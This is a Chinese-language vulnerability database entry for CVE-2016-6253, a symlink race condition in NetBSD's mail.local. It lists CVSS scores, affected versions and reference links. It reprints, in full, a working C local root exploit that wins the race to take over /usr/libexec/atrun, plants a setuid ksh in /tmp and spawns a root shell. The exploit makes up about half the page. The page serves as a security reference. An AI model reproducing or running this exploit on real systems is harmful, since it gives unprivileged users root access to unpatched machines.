CVE-2016-6253
CVSS7.2
发布时间 :2017-01-20 10:59:00
修订时间 :2017-01-20 14:58:08
NMPS    

[原文]mail.local in NetBSD versions 6.0 through 6.0.6, 6.1 through 6.1.5, and 7.0 allows local users to change ownership of or append data to arbitrary files on the target system via a symlink attack on the user mailbox.


[CNNVD]CNNVD数据暂缺。


[机译]译文暂缺.

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-59 [在文件访问前对链接解析不恰当(链接跟随)]

- CPE (受影响的平台与产品)

cpe:/o:netbsd:netbsd:6.0.3
cpe:/o:netbsd:netbsd:6.1.2
cpe:/o:netbsd:netbsd:6.0.2
cpe:/o:netbsd:netbsd:6.1.1
cpe:/o:netbsd:netbsd:6.0.5
cpe:/o:netbsd:netbsd:6.1.4
cpe:/o:netbsd:netbsd:6.0.4
cpe:/o:netbsd:netbsd:6.1.3
cpe:/o:netbsd:netbsd:6.0.1
cpe:/o:netbsd:netbsd:6.0
cpe:/o:netbsd:netbsd:7.0
cpe:/o:netbsd:netbsd:6.1
cpe:/o:netbsd:netbsd:6.0.6
cpe:/o:netbsd:netbsd:6.1.5

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6253
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6253
(官方数据源) NVD

- 其它链接及资源

http://akat1.pl/?id=2
(VENDOR_ADVISORY)  MISC  http://akat1.pl/?id=2
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc
(VENDOR_ADVISORY)  NETBSD  NetBSD-SA2016-006
http://packetstormsecurity.com/files/138021/NetBSD-mail.local-8-Local-Root.html
(VENDOR_ADVISORY)  MISC  http://packetstormsecurity.com/files/138021/NetBSD-mail.local-8-Local-Root.html
http://www.rapid7.com/db/modules/exploit/unix/local/netbsd_mail_local
(VENDOR_ADVISORY)  MISC  http://www.rapid7.com/db/modules/exploit/unix/local/netbsd_mail_local
http://www.securityfocus.com/bid/92101
(VENDOR_ADVISORY)  BID  92101
http://www.securitytracker.com/id/1036429
(VENDOR_ADVISORY)  SECTRACK  1036429
https://www.exploit-db.com/exploits/40141/
(VENDOR_ADVISORY)  EXPLOIT-DB  40141
https://www.exploit-db.com/exploits/40385/
(VENDOR_ADVISORY)  EXPLOIT-DB  40385

- 漏洞信息 (F138021)

NetBSD mail.local(8) Local Root (PacketStormID:F138021)
2016-07-22 00:00:00
Akat1  
exploit,local,root
netbsd
CVE-2016-6253
[点击下载]

NetBSD mail.local(8) local root exploit that leverages a race condition as noted in NetBSD-SA2016-006.

// Source: http://akat1.pl/?id=2
 
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
 
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
 
static int
overwrite_atrun(void)
{
        char *script = "#! /bin/sh\n"
            "cp /bin/ksh /tmp/ksh\n"
            "chmod +s /tmp/ksh\n";
        size_t size;
        FILE *fh;
        int rv = 0;
 
        fh = fopen(ATRUNPATH, "wb");
 
        if (fh == NULL) {
                rv = -1;
                goto out;
        }
 
        size = strlen(script);
        if (size != fwrite(script, 1, strlen(script), fh)) {
                rv =  -1;
                goto out;
        }
 
out:
        if (fh != NULL && fclose(fh) != 0)
                rv = -1;
 
        return rv;
}
 
static int
copy_file(const char *from, const char *dest, int create)
{
        char buf[1024];
        FILE *in = NULL, *out = NULL;
        size_t size;
        int rv = 0, fd;
 
        in = fopen(from, "rb");
        if (create == 0)
                out = fopen(dest, "wb");
        else {
                fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
                    S_IWUSR);
                if (fd == -1) {
                        rv = -1;
                        goto out;
                }
                out = fdopen(fd, "wb");
        }
 
        if (in == NULL || out == NULL) {
                rv = -1;
                goto out;
        }
 
        while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
                if (fwrite(&buf, 1, size, in) != 0) {
                        rv = -1;
                        goto out;
                }
        }
 
out:
        if (in != NULL && fclose(in) != 0)
                rv = -1;
        if (out != NULL && fclose(out) != 0)
                rv = -1;
         
        return rv;
}
 
int
main()
{
        pid_t pid;
        uid_t uid;
        struct stat sb;
        char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
 
        umask(0077);
 
        login = getlogin();
 
        if (login == NULL)
                err(EXIT_FAILURE, "who are you?");
 
        uid = getuid();
 
        asprintf(&mailbox, MAILDIR "/%s", login);
 
        if (mailbox == NULL)
                err(EXIT_FAILURE, NULL);
 
        if (access(mailbox, F_OK) != -1) {
                /* backup mailbox */
                asprintf(&mailbox_backup, "/tmp/%s", login);
                if (mailbox_backup == NULL)
                        err(EXIT_FAILURE, NULL);
        }
 
        if (mailbox_backup != NULL) {
                fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
                    mailbox_backup);
 
                if (copy_file(mailbox, mailbox_backup, 1))
                        err(EXIT_FAILURE, "[-] failed");
        }
 
        /* backup atrun(1) */
        atrun_backup = strdup("/tmp/atrun");
        if (atrun_backup == NULL)
                err(EXIT_FAILURE, NULL);
 
        fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
            atrun_backup);
 
        if (copy_file(ATRUNPATH, atrun_backup, 1))
                err(EXIT_FAILURE, "[-] failed");
 
        /* win the race */
        fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
 
        switch (pid = fork()) {
        case -1:
                err(EXIT_FAILURE, NULL);
                /* NOTREACHED */
 
        case 0:
                asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
                    "2> /dev/null", login);
 
                for(;;)
                        system(buf);
                /* NOTREACHED */
 
        default:
                umask(0022);
                for(;;) {
                        int fd;
                        unlink(mailbox);
                        symlink(ATRUNPATH, mailbox);
                        sync();
                        unlink(mailbox);
                        fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
                        close(fd);
                        sync();
                        if (lstat(ATRUNPATH, &sb) == 0) {
                                if (sb.st_uid == uid) {
                                        kill(pid, 9);
                                        fprintf(stderr, "[+] won race!\n");
                                        break;
                                }
                        }
                }
                break;
        }
        (void)waitpid(pid, NULL, 0);
 
        if (mailbox_backup != NULL) {
                /* restore mailbox */
                fprintf(stderr, "[+] restore mailbox %s to %s\n",
                    mailbox_backup, mailbox);
 
                if (copy_file(mailbox_backup, mailbox, 0))
                        err(EXIT_FAILURE, "[-] failed");
                if (unlink(mailbox_backup) != 0)
                        err(EXIT_FAILURE, "[-] failed");
        }
 
        /* overwrite atrun */
        fprintf(stderr, "[+] overwriting atrun(1)\n");
 
        if (chmod(ATRUNPATH, 0755) != 0)
                err(EXIT_FAILURE, NULL);
 
        if (overwrite_atrun())
                err(EXIT_FAILURE, NULL);
 
        fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
 
        for(;;sleep(1)) {
                if (access("/tmp/ksh", F_OK) != -1)
                        break;
        }
 
        /* restore atrun */
        fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
            ATRUNPATH);
 
        if (copy_file(atrun_backup, ATRUNPATH, 0))
                err(EXIT_FAILURE, "[-] failed");
        if (unlink(atrun_backup) != 0)
                err(EXIT_FAILURE, "[-] failed");
 
        if (chmod(ATRUNPATH, 0555) != 0)
                err(EXIT_FAILURE, NULL);
 
        fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
            "ownership.\n");
        fprintf(stderr, "Enjoy your shell:\n");
 
        execl("/tmp/ksh", "ksh", NULL);
 
        return 0;
}


    

- 漏洞信息

NetBSD CVE-2016-6253 Local Privilege Escalation Vulnerability
Race Condition Error 92101
No Yes
2016-07-20 12:00:00 2016-07-20 12:00:00
Mateusz Kocielski

- 受影响的程序版本

NetBSD Netbsd 7.0.1
NetBSD NetBSD 6.1.5
NetBSD NetBSD 6.1.4
NetBSD NetBSD 6.1.3
NetBSD NetBSD 6.1.2
NetBSD NetBSD 6.1.1
NetBSD NetBSD 6.0.6
NetBSD NetBSD 6.0.5
NetBSD NetBSD 6.0.4
NetBSD NetBSD 6.0.3
NetBSD NetBSD 6.0.2
NetBSD NetBSD 6.0.1
NetBSD Netbsd 7.0

- 漏洞讨论

NetBSD is prone to a local privilege escalation vulnerability.

A local attacker can leverage this issue to gain elevated root privileges.

NetBSD 7.0 through 7.0.1, 6.1 through 6.1.5 and 6.0 through 6.0.6 are vulnerable.

- 漏洞利用

The researcher who discovered this issue has created a proof-of-concept. Please see the references for more information.

- 解决方案

Updates are available. Please see the references or vendor advisory for more information.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站